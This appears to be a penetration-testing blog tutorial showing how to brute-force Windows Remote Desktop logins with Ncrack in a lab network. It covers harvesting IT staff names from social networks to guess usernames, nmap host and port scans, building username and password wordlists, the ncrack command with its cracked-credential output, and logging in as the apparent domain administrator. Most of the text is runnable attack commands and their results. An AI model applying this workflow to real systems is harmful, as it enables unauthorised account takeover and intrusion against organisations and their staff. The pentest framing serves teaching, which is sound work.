Ncrack Tutorial – Remote Password Cracking Brute Force

The Remote Desktop Protocol is often underestimated as a possible way to break into a system during a penetration test. Other services, such SSH and VNC are more likely to be targeted and exploited using a remote brute-force password guessing attack. For example, let’s suppose that we are in the middle of a penetration testing session at the “MEGACORP” offices and we already tried all the available remote attacks with no luck. We tried also to ARP poisoning the LAN looking to get user names and passwords, without succeeding.

From a previus nmap scan log we found a few Windows machines with the RDP port open and we decided to investigate further this possibility. 

First of all we need some valid usernames in order to guess only the passwords rather than both. We found the names of the IT guys on various social networking websites. Those are the key IT staff:

jessie tagle
julio feagins
hugh duchene
darmella martis
lakisha mcquain
ted restrepo
kelly missildine

Didn’t take long to create valid usernames following the common standard of using the first letter of the name and the entire surname.

jtagle
jfeagins
hduchene
dmartis
lmcquain
trestrepo
kmissildine

If you are on backtrack 5 or backtrack 5 R1 than there is no need to install Ncrack because it is available by default but for other Linux distribution like Ubuntu you need to install it.

Information gathering

Let’s find out what hosts in a network are up, and save them to a text list. The  regular expression will parse and extract only the ip addresses from the scan.

Nmap ping scan, go no further than determining if host is online

nmap  -sP 192.168.56.0/24 | grep -Eo '([0-9]{1,3}\.){3}[0-9]{1,3}' > 192.168.56.0.txt

Nmap fast scan with input from list of hosts/networks
nmap -F -iL 192.168.56.0.txt

Starting Nmap 5.21 ( http://nmap.org ) at 2011-04-10 13:15 CEST

Nmap scan report for 192.168.56.10

Host is up (0.0017s latency).

Not shown: 91 closed ports

PORT     STATE SERVICE

88/tcp   open  kerberos-sec

135/tcp  open  msrpc

139/tcp  open  netbios-ssn

389/tcp  open  ldap

445/tcp  open  microsoft-ds

1025/tcp open  NFS-or-IIS

1026/tcp open  LSA-or-nterm

1028/tcp open  unknown

3389/tcp open  ms-term-serv

MAC Address: 08:00:27:09:F5:22 (Cadmus Computer Systems)

Nmap scan report for 192.168.56.101

Host is up (0.014s latency).

Not shown: 96 closed ports

PORT     STATE SERVICE

135/tcp  open  msrpc

139/tcp  open  netbios-ssn

445/tcp  open  microsoft-ds

3389/tcp open  ms-term-serv

MAC Address: 08:00:27:C1:5D:4E (Cadmus Computer Systems)

Nmap done: 55 IP addresses (55 hosts up) scanned in 98.41 seconds

From the log we can see two machines with the microsoft terminal service port (3389) open, looking more in depth to the services available on the machine 192.168.56.10 we can assume that this machine might be the domain controller, and it’s worth trying
to pwn it.

At this point we need to create a file (my.usr) with the probable usernames previously gathered.

vim my.usr

jtagle
jfeagins
hduchene
trestrepo
kmissildine

We need also a file (my.pwd) for the password, you can look on the internet for common passwords and wordlists.

vim my.pwd

somepassword
passw0rd
blahblah
12345678
iloveyou
trustno1

At this point we run Ncrack against the 192.168.56.10 machine.

ncrack -vv  -U my.usr -P my.pwd 192.168.56.10:3389,CL=1

Starting Ncrack 0.4ALPHA ( http://ncrack.org ) at 2011-05-10 17:24 CEST

Discovered credentials on rdp://192.168.56.10:3389 'hduchene' 'passw0rd'

rdp://192.168.56.10:3389 Account credentials are valid, however,the account is denied interactive logon.

Discovered credentials on rdp://192.168.56.10:3389 'jfeagins' 'blahblah'

rdp://192.168.56.10:3389 Account credentials are valid, however,the account is denied interactive logon.

Discovered credentials on rdp://192.168.56.10:3389 'jtagle' '12345678'

rdp://192.168.56.10:3389 Account credentials are valid, however,the account is denied interactive logon.

Discovered credentials on rdp://192.168.56.10:3389 'kmissildine' 'iloveyou'

rdp://192.168.56.10:3389 Account credentials are valid, however,the account is denied interactive logon.

Discovered credentials on rdp://192.168.56.10:3389 'trestrepo' 'trustno1'

rdp://192.168.56.10:3389 finished.

Discovered credentials for rdp on 192.168.56.10 3389/tcp:

192.168.56.10 3389/tcp rdp: 'hduchene' 'passw0rd'

192.168.56.10 3389/tcp rdp: 'jfeagins' 'blahblah'

192.168.56.10 3389/tcp rdp: 'jtagle' '12345678'

192.168.56.10 3389/tcp rdp: 'kmissildine' 'iloveyou'

192.168.56.10 3389/tcp rdp: 'trestrepo' 'trustno1'

Ncrack done: 1 service scanned in 98.00 seconds.

Probes sent: 51 | timed-out: 0 | prematurely-closed: 0

Ncrack finished.

We can see from the Ncrack results that all the user names gathered are valid, and also we were able to crack the login credential since they were using some weak passwords. Four of the IT staff have some kind of restrictions on the machine, except hduchene that might be the domain administrator, let’s find out.

Run the terminal server client from the Linux box

tsclient 192.168.56.10 use Hugh Duchene credential ‘hduchene’ ‘passw0rd’ and BINGO !!!

All the credit goes to Phillip Bailey.

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